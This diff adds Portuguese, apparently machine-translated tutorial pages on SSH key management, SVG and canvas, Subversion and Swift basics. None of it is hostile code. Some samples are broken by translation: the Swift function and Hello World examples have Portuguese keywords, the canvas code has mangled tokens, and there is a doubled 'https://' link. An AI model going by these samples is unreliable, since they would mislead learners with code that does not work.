+ |         4 | Louis Ramsey         |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene         |      1200 | 2017-08-16 15:34:50 | 
+ |         8 | Donald D. Chamberlin |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+----------------------+-----------+---------------------+ 
+ 5 rows in set (0.00 sec) 
+```
+
+\* Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ssh/index.md b/client/src/guide/portuguese/ssh/index.md
new file mode 100644
index 0000000000..2309732efb
--- /dev/null
+++ b/client/src/guide/portuguese/ssh/index.md
@@ -0,0 +1,11 @@
+---
+title: SSH
+localeTitle: SSH
+---
+## SSH
+
+O Secure Shell (SSH) é um protocolo de rede criptográfica destinado à transferência segura de dados em redes inseguras.
+
+É mais comumente usado para acessar servidores remotos.
+
+O SSH também é usado em software de versão de código-fonte distribuído, como o git.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ssh/managing-multiple-ssh-keys/index.md b/client/src/guide/portuguese/ssh/managing-multiple-ssh-keys/index.md
new file mode 100644
index 0000000000..53e732a879
--- /dev/null
+++ b/client/src/guide/portuguese/ssh/managing-multiple-ssh-keys/index.md
@@ -0,0 +1,180 @@
+---
+title: Managing multiple SSH keys
+localeTitle: Gerenciando várias chaves SSH
+---
+# Gerenciando várias chaves SSH
+
+É seguro dizer que a maioria dos desenvolvedores na esfera da Web, em algum momento, encontrou o SSH. O SSH é um dos protocolos mais utilizados para troca segura de dados. Você usa o SSH para conectar-se a servidores remotos, o que também inclui o gerenciamento de seu código usando o git e a sincronização com repositórios remotos.
+
+Mesmo que seja considerado uma boa prática ter um par de chaves privado-público por dispositivo, às vezes você precisa usar várias chaves e / ou você tem nomes de chaves não ortodoxos. Você pode estar usando um par de chaves SSH para trabalhar nos projetos internos de sua empresa, mas pode estar usando uma chave diferente para acessar alguns servidores de clientes corporativos. Você pode até estar usando uma chave diferente para acessar seu próprio servidor privado.
+
+O gerenciamento de chaves SSH pode se tornar incômodo assim que você precisar usar uma segunda chave. Espero que este artigo seja de ajuda para quem está tendo problemas com o gerenciamento de chaves SSH.
+
+Eu suponho que o leitor tenha conhecimento básico de git e SSH. A maioria dos exemplos ao longo do artigo estará usando o git. Naturalmente, tudo isso se aplicará a qualquer outra comunicação SSH. Dito isto, existem alguns truques específicos de git incluídos.
+
+Cinta, aqui vamos nós!
+
+## Status quo
+
+Primeiro, vamos ver como seu fluxo de trabalho pode parecer antes de ter várias chaves para se preocupar.
+
+Você tem uma chave privada armazenada em `~/.ssh/id_rsa` com uma chave pública correspondente `~/.ssh/id_rsa.pub` .
+
+Vamos imaginar que você queira empurrar / puxar mudanças de código para / de um servidor git remoto; diga GitHub, por que não? Para fazer isso, primeiro você precisa adicionar sua chave pública ao GitHub. Eu não vou passar por cima desse passo, deve ser fácil o suficiente para descobrir como fazer isso. Eu também assumi que seu nome é Steve e você está trabalhando em um projeto altamente secreto que usa Raspberry Pies para farejar o tráfego de rede.
+
+Para começar seu trabalho, você precisa clonar um repositório git usando o SSH:
+
+```bash
+git clone git@github.com:steve/raspberry-spy.git 
+```
+
+Neste momento, o GitHub será: "Yo, este é um repositório privado! Precisamos criptografar o tráfego usando essa chave pública que tenho aqui e sua chave privada"
+
+Você adicionou a chave pública ao seu perfil no GitHub, mas o SSH tem que descobrir de alguma forma onde sua chave privada correspondente está localizada. Já que não temos idéia de qual chave privada deve ser usada quando o SSH entrar em `git@github.com` , o cliente SSH tenta encontrar uma chave no local padrão, que é `~/.ssh/id_rsa` - é o seu melhor palpite. Se não houver arquivo nesse local, você receberá um erro:
+
+```bash
+Cloning into 'raspberry-spy'... 
+ Permission denied (publickey). 
+ fatal: Could not read from remote repository. 
+ 
+ Please make sure you have the correct access rights 
+ and the repository exists. 
+```
+
+Se você tiver _alguma_ chave privada armazenada no arquivo `~/.ssh/id_rsa` , o cliente SSH usará essa chave privada para criptografia de comunicação. Se essa chave é senha (como deveria ser), você será solicitado para uma senha, da seguinte maneira:
+
+```bash
+Enter passphrase for key '/Users/steve/.ssh/id_rsa': 
+```
+
+Se você digitar a senha correta e se essa chave privada for de fato aquela que corresponde à chave pública que você anexou ao seu perfil, tudo irá bem e o repositório será clonado com sucesso.
+
+Mas e se você nomeasse sua chave de forma diferente (ex. `~/.ssh/_id_rsa` )? O cliente SSH não poderá determinar onde a chave privada é armazenada. Você receberá o mesmo erro `Permission denied ...` como antes.
+
+Se você quiser usar uma chave privada nomeada de maneira diferente, você deverá adicioná-la manualmente:
+
+```bash
+ssh-add ~/.ssh/_id_rsa 
+```
+
+Depois de inserir a frase-senha, você pode verificar se a chave foi adicionada ao `ssh-agent` (cliente SSH) executando `ssh-add -l` . Este comando listará todas as chaves que estão atualmente disponíveis para o cliente SSH.
+
+Se você tentar clonar o repositório agora, ele será bem-sucedido.
+
+## Por enquanto, tudo bem?
+
+Se você estiver interessado, pode começar a perceber alguns problemas em potencial.
+
+Primeiramente, se você reiniciar seu computador, o `ssh-agent` será reiniciado e você terá que adicionar suas chaves não-padrão-nomeadas usando `ssh-add` novamente, digitando senhas e todas aquelas coisas tediosas.
+
+Podemos automatizar a adição de chaves ou, de alguma forma, especificar qual chave usar ao acessar determinados servidores?
+
+Podemos de alguma forma salvar senhas para não precisarmos digitá-las todas as vezes? Se houvesse algo como um _chaveiro_ para salvar chaves SSH protegidas por senha 🤔.
+
+Tenha certeza, existem respostas para todas essas perguntas.
+
+## Digite, `config` SSH
+
+Como se constata, o [arquivo de configuração SSH](https://linux.die.net/man/5/ssh_config) é uma coisa, uma coisa que pode nos ajudar. É um arquivo de configuração por usuário para comunicação SSH. Crie um novo arquivo: `~/.ssh/config` e abra-o para edição.
+
+### Gerenciando chaves SSH com nome personalizado
+
+A primeira coisa que vamos resolver usando este arquivo de `config` é evitar ter que adicionar chaves SSH com nome personalizado usando `ssh-add` . Supondo que sua chave SSH seja nomeada `~/.ssh/_id_rsa` , inclua o seguinte no arquivo de `config` :
+
+```bash
+Host github.com 
+  HostName github.com 
+  User git 
+  IdentityFile ~/.ssh/_id_rsa 
+  IdentitiesOnly yes 
+```
+
+Agora, certifique-se de que `~/.ssh/_id_rsa` não esteja no `ssh-agent` executando `ssh-add -D` . Este comando irá remover todas as chaves da sessão `ssh-agent` atualmente ativa. A sessão é redefinida toda vez que você efetua logout ou reinicializa (ou se você mata o processo `ssh-agent` manualmente). Podemos "simular" a reinicialização executando o comando mencionado.
+
+Se você tentar clonar seu repositório GitHub agora, será o mesmo que se tivéssemos adicionado a chave manualmente (como fizemos antes). Você será solicitado a senha:
+
+```bash
+git clone git@github.com:steve/raspberry-spy.git 
+ Cloning into 'raspberry-spy'... 
+ Enter passphrase for key '/Users/steve/.ssh/_id_rsa': 
+```
+
+Você deve ter notado que a chave para a qual a senha solicitada é a mesma chave que especificamos em nosso arquivo de `config` . Após inserir a senha correta da chave SSH, o repositório será clonado com sucesso.
+
+Nota: se, após a clonagem bem-sucedida, você tentar `git pull` , será solicitada a senha novamente. Nós resolveremos isso mais tarde.
+
+É importante que o `Host github.com` de `config` e `github.com` da URI `git@github.com:steve/raspberry-spy.git` . Você também pode alterar a `config` para ser o `Host mygithub` e clone usando o URI `git@mygithub:steve/raspberry-spy.git` .
+
+Isso abre as comportas. Como você está reding isso, sua mente está correndo e pensando sobre como todos os seus problemas com chaves SSH acabaram. Aqui estão alguns exemplos de configuração úteis:
+
+```bash
+Host bitbucket-corporate 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_corp 
+        IdentitiesOnly yes 
+```
+
+Agora você pode usar o `git clone git@bitbucket-corporate:company/project.git`
+
+```bash
+Host bitbucket-personal 
+        HostName bitbucket.org 
+        User git 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+```
+
+Agora você pode usar o `git clone git@bitbucket-personal:steve/other-pi-project.git`
+```
+Host myserver 
+        HostName ssh.steve.com 
+        Port 1111 
+        IdentityFile ~/.ssh/id_rsa_personal 
+        IdentitiesOnly yes 
+        User steve 
+        IdentitiesOnly yes 
+```
+
+Agora você pode usar o SSH no seu servidor usando o `ssh myserver` . Quão legal é isso? Você não precisa digitar a porta e o nome de usuário manualmente toda vez que executar o comando `ssh` .
+
+#### Bônus: configurações por repositório
+
+Você também pode definir qual chave específica deve ser usada para determinado repositório, sobrescrevendo qualquer coisa na `config` SSH. O comando SSH específico pode ser definido configurando o `sshCommand` sob o `core` em `<project>/.git/config` . Exemplo:
+
+```bash
+[core] 
+        sshCommand = ssh -i ~/.ssh/id_rsa_corp 
+```
+
+Isso é possível com o git 2.10 ou posterior. Você também pode usar este comando para evitar a edição manual do arquivo:
+
+```bash
+git config core.sshCommand 'ssh -i ~/.ssh/id_rsa_corp' 
+```
+
+### Gerenciamento de senha
+
+Última peça do quebra-cabeça é gerenciar senhas. Queremos evitar ter que digitar a senha toda vez que a conexão SSH estiver sendo iniciada. Para fazer isso, podemos utilizar o software de gerenciamento de chaves que vem com o MacOS e várias distribuições Linux.
+
+Comece adicionando sua chave ao keychain passando a opção `-K` ao comando `ssh-add` :
+
+```bash
+ssh-add -K ~/.ssh/id_rsa_whatever 
+```
+
+Agora você pode ver sua chave SSH no chaveiro. No MacOS, parece algo como isto: ![Keychain Access](https://raw.githubusercontent.com/fvoska/guides/master/static/images/pages/ssh/managing-multiple-ssh-keys/keychain-access.png "Acesso às Chaves")
+
+Se você remover as chaves do `ssh-agent` via `ssh-add -D` (isso acontecerá quando você reiniciar o computador, como mencionado anteriormente) e tentar o SSH-ing, você será solicitado a digitar a senha novamente. Por quê? Acabamos de adicionar a chave ao chaveiro. Se você verificar o Acesso às Chaves novamente, você notará que a chave que você adicionou usando `ssh-add -K` ainda está no chaveiro. Estranho, né?
+
+Acontece que há mais um aro para atravessar. Abra seu arquivo de `config` SSH e adicione o seguinte:
+
+```bash
+Host * 
+  AddKeysToAgent yes 
+  UseKeychain yes 
+```
+
+Agora, o SSH procurará a chave no keychain e, se ela for encontrada, você não será solicitado a fornecer uma senha. A chave também será adicionada ao `ssh-agent` . No MacOS, isso funcionará no MacOS Sierra 10.12.2 ou posterior. No Linux você pode usar algo como o `gnome-keyring` e ele pode funcionar mesmo sem esta última modificação na `config` SSH. Quanto ao Windows - quem sabe, certo?
+
+Espero que alguém tenha achado isso útil. Agora vá e configure seu arquivo de `config` SSH!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/svg/index.md b/client/src/guide/portuguese/svg/index.md
new file mode 100644
index 0000000000..3504916dfc
--- /dev/null
+++ b/client/src/guide/portuguese/svg/index.md
@@ -0,0 +1,152 @@
+---
+title: SVG
+localeTitle: SVG
+---
+## SVG
+
+O SVG ou Scalable Vector Graphics é um padrão da Web para definir gráficos baseados em vetores em páginas da Web. Com base no XML, o padrão SVG fornece marcação para descrever caminhos, formas e texto em uma janela de visualização. A marcação pode ser incorporada diretamente no HTML para exibição ou salva em um arquivo `.svg` e inserida como qualquer outra imagem. Você pode escrever SVG à mão, mas gráficos mais complicados podem ser criados em editores gráficos vetoriais, como Illustrator ou InkScape, e exportados para arquivos SVG ou código.
+
+## Noções básicas sobre SVG
+
+Os desenvolvedores iniciam um gráfico SVG com a tag `<svg>` e o namespace XML da seguinte forma:
+
+```svg
+<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> 
+ 
+ </svg> 
+```
+
+A amostra também inclui um atributo de `version` . O atributo `version` é opcional, mas é recomendado para reclamar especificações XML.
+
+Este exemplo não exibirá nada, apenas estabeleceu uma viewport. Você pode adicionar atributos de `height` e `width` para definir um tamanho de exibição para a janela de visualização. Isso basicamente estabelece uma tela para você trabalhar.
+
+Com uma janela de visualização, você pode adicionar gráficos básicos, texto e elementos de caminho.
+
+```svg
+<svg 
+     version="1.1" 
+     width="100%" 
+     viewbox="0 0 600 300" 
+     xmlns="http://www.w3.org/2000/svg"> 
+  <rect x="10" y="10" width="100" height="100" fill="#f7b2c1" /> 
+  <circle cx="240" cy="60" r="50" fill="#c1b2f7" stroke="#b2c1f7" stroke-width="15"/> 
+  <text x="450" y="70" font-size="20" text-anchor="middle">SVG Text is browser readable!</text> 
+  <g stroke="#b2c1f7"> <!-- g is for group --> 
+    <path stroke-width="2" d="M10 170 l590 0" /> 
+    <path stroke-width="4" d="M10 190 l590 0" /> 
+    <path stroke-width="6" d="M10 210 l590 0" /> 
+  </g> 
+ </svg> 
+```
+
+Você pode ver a saída e brincar com o código [neste código](https://codepen.io/SgiobairOg/pen/OxbNpW) .
+
+Na tag `svg` abertura, adicionamos um atributo de largura para definir a largura da viewport para 100% da largura do contêiner, você pode usar porcentagens ou larguras de pixels. A tag svg de abertura também possui o atributo `viewbox` que define uma janela através da qual os elementos do seu svg são visíveis, neste caso, a viewbox vai de (0,0) a (600,300). No espaço SVG, o eixo X começa com zero à esquerda e aumenta para a direita; o eixo Y começa com zero no topo e aumenta em direção ao fundo.
+
+A primeira nova tag é a tag `<rect />` que define um retângulo na viewport do SVG. Neste caso, definimos um quadrado que é de 10 unidades do topo e da esquerda e 100 unidades de altura e largura. O atributo de `fill` define a cor de preenchimento da forma.
+
+Em seguida, definimos um círculo ou oval com a tag `<circle />` . A amostra define um círculo centrado em (240,60) com um raio de 50 unidades. Os `stroke` e `stroke-width` atributos definir uma cor de traço e uma dimensão para o acidente vascular cerebral.
+
+Você pode adicionar texto ao gráfico com a marca de `text` . O texto de exemplo é ancorado do meio do texto a um ponto em (450, 70) e tem um tamanho de fonte de 20 unidades. O bom do texto no SVG é que ele será dimensionado com o resto do gráfico, mas ainda é legível pelo navegador e pelos robôs da web.
+
+Quando você deseja aplicar os mesmos atributos ou estilos CSS a vários elementos SVG, é possível agrupá-los com a tag `<g>` . Atributos atribuídos à tag `<g>` , como o atributo `stroke` no exemplo, serão aplicados a todos os elementos do grupo. Neste caso, três elementos `<path />` .
+
+O elemento `<path />` define um caminho de vetor na viewport. O caminho é definido pelo atributo `d` . No primeiro exemplo, a definição lê 'move para a coordenada absoluta (10, 170) _e_ desenha uma linha para as coordenadas relativas 590 na direção X e 0 na direção Y.
+
+Os seguintes comandos podem ser usados ​​para criar seu caminho:
+
+M = mudar para L = linha para H = linha horizontal para V = linha vertical para Z = caminho fechado C = (bezier cúbico) curva para S = curva suave para Q = curva de bezier quadrática para T = curva de bezier quadrática lisa para A = arco
+
+### O elemento da tela
+
+Gráficos de tela podem ser desenhados em um
+
+elemento. Você pode dar atributos de largura e altura do elemento suchan para determinar seu tamanho em pixels. Uma nova tela está vazia, o que significa que é totalmente transparente e aparece como espaço vazio no documento. o
+
+A tag destina-se a suportar diferentes estilos de desenho.Para obter acesso a uma interface de desenho real, primeiro precisamos criar um contexto, que é um objeto cujos métodos fornecem a interface de desenho.Há atualmente dois estilos de desenho amplamente suportados: "2d" para gráficos bidimensionais e "webgl" para gráficos tridimensionais através da interface OpenGL.
+
+Um contexto é criado através do método getContext no
+
+elemento.
+```
+<p > Before canvas . </p > 
+ < canvas width ="120" height ="60" > </ canvas > 
+ <p > After canvas . </p > 
+ < script > 
+ var canvas = document . querySelector (" canvas ") ; 
+ var context = canvas . getContext ("2 d ") ; 
+ context . fillStyle = " red "; 
+ context . fillRect (10 , 10 , 100 , 50) ; 
+ </ script > 
+```
+
+![](http://www.crwflags.com/fotw/images/s/sly@stt.gif)
+
+Depois de criar o objeto de contexto, o exemplo desenha um retângulo vermelho 100 pixels de largura e 50 pixels de altura, com seu canto superior esquerdo nas coordenadas (10,10).
+
+### Desenhando um gráfico de pizza
+
+A variável de resultados contém uma matriz de objetos que representam o respostas da pesquisa.
+```
+var results = [ 
+ { name : " Satisfied " , count : 1043 , color : " lightblue "} , 
+ { name : " Neutral " , count : 563 , color : " lightgreen "} , 
+ { name : " Unsatisfied " , count : 510 , color : " pink "} , 
+ { name : " No comment " , count : 175 , color : " silver "} 
+ ]; 
+```
+
+Para desenhar um gráfico de pizza, desenhamos várias fatias de pizza, cada uma composta de um arco e um par de linhas para o centro desse arco. Podemos calcular o ângulo assumido por cada arco, dividindo um círculo completo (2 π) pelo número total de respostas e, em seguida, multiplicando esse número (o ângulo por resposta) pelo número de pessoas que escolheram uma determinada opção.
+```
+< canvas width ="200" height ="200" > </ canvas > 
+ < script > 
+ var cx = document . querySelector (" canvas ") . getContext ("2 d ") ; 
+ var total = results . reduce ( function ( sum , choice ) { 
+ return sum + choice . count ; 
+ } , 0) ; 
+ 
+ // Start at the top 
+ 
+ var currentAngle = -0.5 * Math . PI ; 
+ results . forEach ( function ( result ) { 
+ var sliceAngle = ( result . count / total ) * 2 * Math . PI ; 
+ cx . beginPath () ; 
+ // center =100 ,100 , radius =100 
+ // from current angle , clockwise by slice ' s angle 
+ cx . arc (100 , 100 , 100 , 
+ currentAngle , currentAngle + sliceAngle ); 
+ currentAngle += sliceAngle ; 
+ cx . lineTo (100 , 100) ; 
+ cx . fillStyle = result . color ; 
+ cx . fill () ; 
+ }) ; 
+ </ script > 
+```
+
+Isso desenha o seguinte gráfico: ![](https://pbs.twimg.com/media/CTDvkA8UwAAdJg5.png)
+
+### Suporte de Navegador
+
+[O suporte do navegador para SVG](https://caniuse.com/#feat=svg) está disponível em todos os navegadores modernos. Existem alguns problemas com o dimensionamento no IE 9 a 11, no entanto, eles podem ser superados com o uso da `width` , `height` , `viewbox` e CSS.
+
+## Editores
+
+*   [Vectr](https://vectr.com) - ferramenta web e de desktop para criar e editar gráficos SVG, gratuitamente
+
+## Ferramentas para criar SVG
+
+Existem poucas ferramentas disponíveis para criar SVG na forma de programa de desenho.
+
+*   [Inkscape](https://www.inkscape.org/) - É uma ferramenta de código aberto para desenho vetorial de última geração com uma interface gráfica fácil de usar.
+*   [Adobe Illustrator](https://www.adobe.com/products/illustrator/) - O Adobe Illustrator é uma ferramenta comercial para imagens vetoriais.
+
+Para mais ferramentas, consulte a [lista de ferramentas do W3C que suporta SVG](https://https://www.w3.org/Graphics/SVG/WG/wiki/Implementations)
+
+## Por que você deve usar SVGs
+
+Como um formato de imagem vetorial, permite redimensionar uma imagem sem perda de qualidade e um peso particularmente leve. Como um formato XML, ele permite que você se beneficie do poder total do JavaScript e especialmente do CSS.
+
+## Recursos
+
+*   [W3C, Scalable Vector Graphics (SVG) 1.1 (segunda edição)](https://www.w3.org/TR/SVG/)
+*   [Rede de desenvolvedores Mozilla, SVG](https://developer.mozilla.org/en-US/docs/Web/SVG)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/svg/shapes/index.md b/client/src/guide/portuguese/svg/shapes/index.md
new file mode 100644
index 0000000000..7f29e5554d
--- /dev/null
+++ b/client/src/guide/portuguese/svg/shapes/index.md
@@ -0,0 +1,81 @@
+---
+title: SVG Shapes
+localeTitle: Formas SVG
+---
+## Formas SVG
+
+Diversas formas podem ser criadas usando o desenho SVG. Um desenho SVG pode usar e combinar sete formas: Caminho, Retângulo, Círculo, Elipse, Linha, Polilinha e Polígono.
+
+### Caminho
+
+O elemento `path` é o mais comumente visto e é geralmente gerado por programas projetados para exportar código SVG.
+
+```svg
+  <path d="M2 1 h1 v1 h1 v1 h-1 v1 h-1 v-1 h-1 v-1 h1 z" /> 
+```
+
+O `path` exemplo acima gerará um símbolo "mais" (+) quando usado dentro de um desenho SVG. Os elementos de `path` SVG não são criados manualmente, mas gerados por meio de programas de design que podem manipular gráficos vetoriais, como o Illustrator ou o Inkscape.
+
+### Retângulo
+
+O retângulo `rect` desenha um retângulo na tela e aceita seis atributos.
+
+```svg
+  <rect x="0" y="0" width="100" height="50" rx="10" ry="10" /> 
+```
+
+`x` e `y` atribuir a posição do canto superior esquerdo do rectângulo, e `width` e `height` atribuir o tamanho do rectângulo. `rx` e `ry` atribuem o raio dos cantos do retângulo, semelhante à propriedade border-radius do CSS.
+
+### Círculo
+
+O círculo do elemento do `circle` aceita três atributos.
+
+```svg
+  <circle cx="100" cy="100" r="50" /> 
+```
+
+`cx` e `cy` atribuir a posição do centro do círculo, e `r` designa o raio (tamanho) do círculo.
+
+### Elipse
+
+O elemento de elipse, `ellipse` , é semelhante ao elemento de `circle` , exceto que o raio é dividido em dois atributos.
+
+```svg
+  <ellipse cx="100" cy="100" rx="50" ry="20" /> 
+```
+
+Novamente, `cx` e `cy` atribuem a posição do centro da elipse, e agora `rx` e `ry` atribuem o raio horizontal e vertical da elipse, respectivamente. Um `rx` maior dará uma elipse "gorda", e um `ry` maior dará uma elipse mais magra. Se `rx` e `ry` forem iguais, formará um círculo.
+
+### Linha
+
+O elemento de `line` é simples e aceita quatro atributos.
+
+```svg
+  <line x1="0" x2="100" y1="50" y2="70" /> 
+```
+
+Os atributos `x1` e `y1` atribuem o primeiro ponto da linha e os atributos `x2` e `y2` atribuem o segundo ponto da linha.
+
+### Polilinha
+
+Uma `polyline` é uma série de linhas retas conectadas, atribuídas em um único atributo.
+
+```svg
+  <polyline points="0 100, 50 70, 60 40, 20 0" /> 
+```
+
+O atributo `points` atribui uma lista de pontos, cada ponto separado por uma vírgula.
+
+### Polígono
+
+O elemento `polygon` é também uma série de linhas retas conectadas, mas, neste caso, a última linha se reconectará automaticamente ao ponto inicial.
+
+```svg
+  <polygon points="0 100, 50 70, 60 40, 20 0" /> 
+```
+
+Este exemplo desenhará a mesma forma da `polyline` acima, mas desenhará uma linha extra para "fechar" a série de linhas.
+
+## Mais Informações
+
+Documentação [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_Shapes) : [MDN](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Basic_Shapes)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/svn/index.md b/client/src/guide/portuguese/svn/index.md
new file mode 100644
index 0000000000..e4053962c9
--- /dev/null
+++ b/client/src/guide/portuguese/svn/index.md
@@ -0,0 +1,9 @@
+---
+title: Apache Subversion
+localeTitle: Subversion do Apache
+---
+## Subversion do Apache
+
+Apache Subversion é um sistema de controle de versão e revisão de software distribuído como código aberto sob a [Licença Apache](https://en.wikipedia.org/wiki/Apache_License) . Ele é usado para manter versões atuais e históricas de arquivos, como código-fonte, páginas da Web e documentação.
+
+Para downloads e documentação, visite o [site oficial do Apache Subversion](https://subversion.apache.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/comments/index.md b/client/src/guide/portuguese/swift/comments/index.md
new file mode 100644
index 0000000000..9c5cb01b57
--- /dev/null
+++ b/client/src/guide/portuguese/swift/comments/index.md
@@ -0,0 +1,28 @@
+---
+title: Comments
+localeTitle: Comentários
+---
+## Comentários
+
+Comentários permitem que você documente seu código. Os comentários são ignorados pelo compilador Swift e são úteis apenas para pessoas que leem sua base de código.
+
+Os comentários de linha única começam com duas barras invertidas `//` .
+
+#### Exemplo:
+
+```swift
+    // Hello, single-line comment! 
+```
+
+Os comentários em várias linhas começam com uma barra seguida por um asterisco `/*` e terminam com um asterisco seguido por uma barra invertida `*/`
+
+#### Exemplo:
+
+```swift
+   /* Hello, 
+   multiline-line comment! */ 
+```
+
+#### Mais Informações:
+
+*   [A linguagem de programação rápida](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID315)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/constants/index.md b/client/src/guide/portuguese/swift/constants/index.md
new file mode 100644
index 0000000000..e0c495b86d
--- /dev/null
+++ b/client/src/guide/portuguese/swift/constants/index.md
@@ -0,0 +1,23 @@
+---
+title: Constants
+localeTitle: Constantes
+---
+## Constantes
+
+Uma constante associa um nome a um valor de um tipo específico.
+
+#### Exemplo:
+
+```swift
+let name = "Chris Lattner" 
+```
+
+Você declara constantes com a palavra-chave `let` seguida, atribui a ela um nome de `name` seguida, usa um operador de atribuição `=` para atribuir o valor `"Chris Lattner"` ao `name` da constante.
+
+Depois de declarar uma constante, você não precisa mais usar a palavra-chave `let` e chamá-la pelo seu nome.
+
+O valor de uma constante não pode ser alterado depois de definido.
+
+#### Mais Informações:
+
+*   [A linguagem de programação rápida](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/functions/index.md b/client/src/guide/portuguese/swift/functions/index.md
new file mode 100644
index 0000000000..9b3dbf41d2
--- /dev/null
+++ b/client/src/guide/portuguese/swift/functions/index.md
@@ -0,0 +1,15 @@
+---
+title: Functions
+localeTitle: Funções
+---
+## Funções
+
+Funções no Swift consiste em um parâmetro e um tipo de retorno. Funções podem ser criadas usando essa estrutura básica: \`\` \`Swift func sayHello (nameOfPerson: String) -> String { vamos hello = "Olá", + nameOfPerson + "." imprimir (ola) }
+
+sayHello (nameOfPerson: "Steve") ` `` In this example, the function sayHello takes in a string name and prints out the phrase` "Hello, Steve".
+
+## Parâmetros de Função
+
+Funções não requerem parâmetros de entrada ou tipos de retorno. No entanto, isso requer os parênteses depois de nomear as funções. \`\` \`Swift func helloSteve () { print ("Olá, Steve") }
+
+helloSteve () // Imprime "Olá, Steve". \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/hello-world/index.md b/client/src/guide/portuguese/swift/hello-world/index.md
new file mode 100644
index 0000000000..afb4276a0b
--- /dev/null
+++ b/client/src/guide/portuguese/swift/hello-world/index.md
@@ -0,0 +1,26 @@
+---
+title: Hello World Swift
+localeTitle: Olá Mundo Swift
+---
+\## Olá Mundo
+
+Só temos que adicionar o método `print("Hello World")` (da biblioteca UIKit) para a função `viewDidLoad()` da classe \`ViewController:
+
+\`\` \`Swift importar UIKit
+
+classe ViewController: UIViewController {
+```
+override func viewDidLoad() { 
+    super.viewDidLoad() 
+    // Do any additional setup after loading the view, typically from a nib. 
+ 
+    print("Hello World") 
+ 
+ } 
+```
+
+} \`\` \`
+
+Saída ##: \`\` \`
+
+> Olá Mundo \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/index.md b/client/src/guide/portuguese/swift/index.md
new file mode 100644
index 0000000000..65e8950080
--- /dev/null
+++ b/client/src/guide/portuguese/swift/index.md
@@ -0,0 +1,66 @@
+---
+title: Swift
+localeTitle: Rápido
+---
+![Logotipo Swift](https://developer.apple.com/assets/elements/icons/swift-playgrounds/swift-playgrounds-64x64_2x.png)
+
+# O que é o Swift?
+
+Swift é uma linguagem de programação de uso geral e de [código aberto](https://en.wikipedia.org/wiki/Open-source_software) desenvolvida pela Apple Inc. Eles descrevem como:
+
+> O Swift é uma linguagem de programação poderosa e intuitiva para macOS, iOS, watchOS e tvOS. Escrever código Swift é interativo e divertido, a sintaxe é concisa, mas expressiva, e o Swift inclui recursos modernos que os desenvolvedores adoram. O código Swift é seguro por design, mas também produz um software que roda muito rápido. 1
+
+Quer experimentar o Swift agora? [Repl.it](https://repl.it/languages/swift) oferece um loop de leitura-Eval-Print on-line para Swift. Você não terá acesso ao UIKit ou a outras APIs comumente usadas, mas experimente!
+
+# Noções básicas
+
+Para declarar uma variável no Swift, basta usar var seguido do nome da sua variável.
+
+```Swift
+var x = 6 
+ var name = "Bob" 
+ var boole = true 
+ 
+ x = 3 
+```
+
+As constantes são semelhantes às variáveis, mas não podem mudar de valor após a criação.
+
+```Swift
+let x = 6 
+ let name = "Bob" 
+ let boole = true 
+```
+
+Para imprimir qualquer coisa na saída padrão, basta usar print () e colocar sua saída entre parênteses.
+
+```Swift
+let x = "World" 
+ 
+ print("Hello ") 
+ print(x) 
+```
+
+# Versão
+
+A versão mais recente é o [Swift 4.2](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/RevisionHistory.html) , lançado em 17 de setembro de 2018. O Swift está em constante evolução, e você pode esperar mais mudanças no futuro. Recomenda-se que você use a versão mais recente do Swift ao iniciar um novo projeto.
+
+# Documentação
+
+O Swift está fortemente documentado. Tenha em mente que codificar Swift envolve não apenas usando a linguagem, mas também muitas APIs. A melhor maneira de aprender Swift é fazer uma projeto ou aplicação, não importa quão pequeno!
+
+*   [Código fonte](https://github.com/apple/swift)
+    
+*   [Desenvolvendo Aplicativos para iOS (Swift)](https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/) : Deseja criar aplicativos para iOS? Esse é um bom lugar para começar.
+    
+*   [Guia da Linguagem](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/) : Tem uma visão geral de quase todos os recursos do Swift. Se você ficar confuso ao ler o código de outra pessoa, este documento pode ajudá-lo.
+    
+
+# Quer aprender mais?
+
+*   [RayWenderlich.com](https://www.raywenderlich.com/) : Tem muitos ótimos tutoriais para o desenvolvimento do Swift e do iOS.
+*   [Hacking com Swift](https://www.hackingwithswift.com/read) : Um tutorial completo do Swift, levando você de iniciante a avançado usando projetos práticos.
+
+### Fontes
+
+1.  "Swift 4 - A poderosa linguagem de programação que também é fácil de aprender." Apple, [developer.apple.com/swift](https://developer.apple.com/swift/) , Acessado em 31 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/swift/type-inference/index.md b/client/src/guide/portuguese/swift/type-inference/index.md
new file mode 100644
index 0000000000..2d2e0b4d61
--- /dev/null
+++ b/client/src/guide/portuguese/swift/type-inference/index.md
@@ -0,0 +1,29 @@
+---
+title: Type Inference
+localeTitle: Inferência de tipo
+---
+## Inferência de tipo
+
+O Swift usa inferência de tipos. Então, se você escrever algum código como o código no exemplo abaixo, é bastante óbvio o que cada tipo é.
+
+#### Exemplo:
+
+```swift
+    let iPhone: String = “iPhone” 
+    let yearIntroduced: Int = 2007 
+    let isAwesome: Bool = true 
+```
+
